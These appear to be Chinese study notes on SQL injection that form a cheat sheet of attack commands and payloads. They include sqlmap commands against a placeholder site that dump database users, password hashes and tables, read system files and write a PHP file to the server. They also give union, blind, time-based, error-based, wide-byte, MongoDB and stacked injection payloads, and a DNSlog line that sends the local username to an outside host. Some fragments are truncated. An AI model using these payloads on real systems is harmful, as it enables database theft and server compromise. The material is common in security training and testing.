SQLmap
不支持NoSQL、Redis
-u "<网址>"#指定网址 |
数据包中在注入的地方加入*号
简单的注入流程:
- 读取数据库版本,当前用户,当前数据库
sqlmap.py -u http://www.xxx.com/test/php?p=2 -f -b --current-user --current-db -v 1 |
- 判断当前数据库用户权限(高权限才能进行文件的读取、命令执行等其他功能)
sqlmap.py -u http://www.xxx.com/test/php?p=2 --privileges -U 用户名 -v 1 |
- 读取所有数据库用户或指定数据库用户的密码
sqlmap.py -u http://www.xxx.com/test/php?p=2 --users --passwords -v 2 |
- 获取所有数据库
sqlmap.py -u http://www.xxx.com/test/php?p=2 --dbs -v 2 |
- 获取指定数据库中的所有表
sqlmap.py -u http://www.xxx.com/test/php?p=2 --tables -D mysql -v 2 |
- 获取指定数据库名中指定表的字段
sqlmap.py -u http://www.xxx.com/test/php?p=2 --columns -D mysql -T users -v 2 |
- 获取指定数据库命中指定表中指定字段的数据
sqlmap.py -u http://www.xxx.com/test/php?p=2 --dump -D mysql -T users -C "username,password" -s "sqlnmapdb.log" -v 2 |
- file-read读取web文件
sqlmap.py -u http://www.xxx.com/test/php?p=2 --file-read "/etc/password" -v 2 |
- file-write写入文件到web
sqlmap.py -u http://www.xxx.com/test/php?p=2 --file-write /localhost/mm.php --file使用sqlmap绕过防火墙进行注入测试 |
SQL注入
为了网站和数据库的安全性,MySQL内置有root最高用户,划分等级,每个用户对应管理一个数据库,这样保证互不关联,从而不会影响到其他数据库的运行
MySQL两种思路:
- 非root的注入攻击:常规类的猜解
- root用户的注入攻击:文件读写操作,跨库查询注入等
MySQL5.0以上版本:自带的数据库名:information_schema
information_schema库中的:
schemata表会记录所有的数据库名(chehema_name)
tables表会记录所有的表名(table_name)
columns表会记录所有的列名(column_name)
获取相关数据:
- 数据库版本-看是否符合information_schema查询-version()
- 数据库用户-看是否符合root型注入攻击-user()
- 当前操作系统-看是否支持大小写或文件路径选择-@@version_compile_os()
- 数据库名字-为后期猜解指定数据库下的表、列做准备-database()
MySQL配置中的secure-file-priv:限制读取/写入的文件
Linux下:/etc/my.cnf
突破:注入中需要支持SQL执行环境,没有就需要借助PHPmyadmin或能够直接连上对方数据库进行绕过
set global slow_query_log=1; |
因为是用的慢查询日志,所以说只有当查询语句执行的时间要超过系统默认的时间时,该语句才会被记入进慢查询日志。
时间默认超过多少的称为慢查询日志?
一般都是通过long_query_time选项来设置这个时间值,时间以秒为单位,可以精确到微秒。如果查询时间超过了这个时间值(默认为10秒),这个查询语句将被记录到慢查询日志中。查看服务器默认时间值方式如下:
show global variables like '%long_query_time%'
MSSQL
order by 4 |
PostgreSQL
order by 4 |
Oracle
测回显:and 1=2 union select '1','2' from dual |
MongoDB
(Python),以墨者为例
<?php |
其中findOne({‘id’:‘$id’}),故需先闭合再执行查询语句,即1'}) and …
测回显:/new_list.php?id=1'});return ({title:1,content:'2 |
数据类型注入
- 数字型
$sql="select * from tablea where id = $i" |
- 字符型
$sql="select * from tablea where id = '$i'" |
如果是字符串的话(比如有空格),不加单引号就出错
- 搜索型
$sql="select * from tablea where id like '%$i%'" |
使用%作为通配符
- 加密型
数据以加密的密文去发送
- 格式型
比如JSON
|
json={"username":"admin'order by 4#"} |
Q:考虑的是闭合双引号,为什么要闭合单引号?
A:JSON取得是键值,而不是双引号,代码中的{}是JSON的格式,即括号在这里不起作用,所以只需要考虑单引号
宽字节注入
addslashes()返回字符串,该字符串为了数据库查询语句等的需要在某些字符前加上了反斜线。这些字符是单引号(')、双引号(")、反斜线(\)与NULL(NULL字符)。
当PHP指令magic_quotes_sybase被设置成on时,意味着插入'时将使用'进行转义。
此时利用宽字节(繁体字符、乱码的字符)来占用两个字节产生绕过
提交方式注入
|
//Java Spring 不同框架,不同写法 |
#Python Flask 不同框架,不同写法 |
查询方式注入
盲注就是在注入过程中,获取的数据不能回显至前端页面
此时我们需要利用一些方法进行判断或者尝试,这个过程称之为盲注
盲注分为以下三类:
基于布尔的SQL盲注——逻辑判断
regexp,like,ascii,left,ord,mid
基于时间的SQL盲注——延时判断
if,sleep
基于报错的SQL盲注——报错回显
floor,updatexml,extractvalue
参考:
like 'ro%' #判断ro或ro...是否成立
regexp '^test[a-z]' #匹配test及test...等
if(条件,5,0) #条件成立,返回5,反之返回0
sleep(5) #SQL语句延时执行5秒
mid(a,b,c) #从位置b开始,截取a字符串的c位
substr(a,b,c) #从位置b开始,截取字符串a的c长度
left(database(),1) #left(a,b)从左侧截取a的前b位
length(database())=8 #判断数据库的database()名的长度
ord=ascii ascii(x)=97 #判断x的ASCII码是否等于97
基于延时:都不需要 |
复杂注入利用
-
堆叠注入:根据数据库类型决定是否支持多条语句执行
支持堆叠数据库类型:MySQL、MSSQL、PostSQL等
我们是用mysql_query()接收的SQL语句,而mysql_query()它本身只能执行一句SQL语句,所以就会出错
把mysql_query()换为mysql_multi_query()就可以执行多条SQL语句查询,但mysql_multi_query()的返回类型是布尔型
-
二次注入:应用功能逻辑设计上导致的先写入后组合的注入
-
Dnslog注入:解决不回显(反向连接),SQL注入,命令执行,SSRF等
ping %USERNAME%. <生成的链接>
#%USERNAME%是获取本地计算机用户名 -
绕过bypass等
黑盒模式分析以上
二次注入:插入后调用显示操作符合
堆叠注入:判断注入后直接调多条执行
偏移注入
解决表名已知,列名未知的情况
https://www.cnblogs.com/xishaonian/p/6054320.html
https://www.fujieace.com/penetration-test/access-offset-injection.html
伪静态
- 定义
通常情况下,动态脚本的网站的url类似下面这样:
http://www.test.com/news.php?id=1 |
做了伪静态之后就成这样了:
http://www.test.com/news/id/1.html |
- 判断
浏览器控制台输入
javascript:alert(document.lastModified) |
如果得到的时间和现在时间一致,此页面就是伪静态,反之是真静态
因为动态页面的最后修改时间总是当前时间,而静态页面的最后修改时间则是它生成的时间。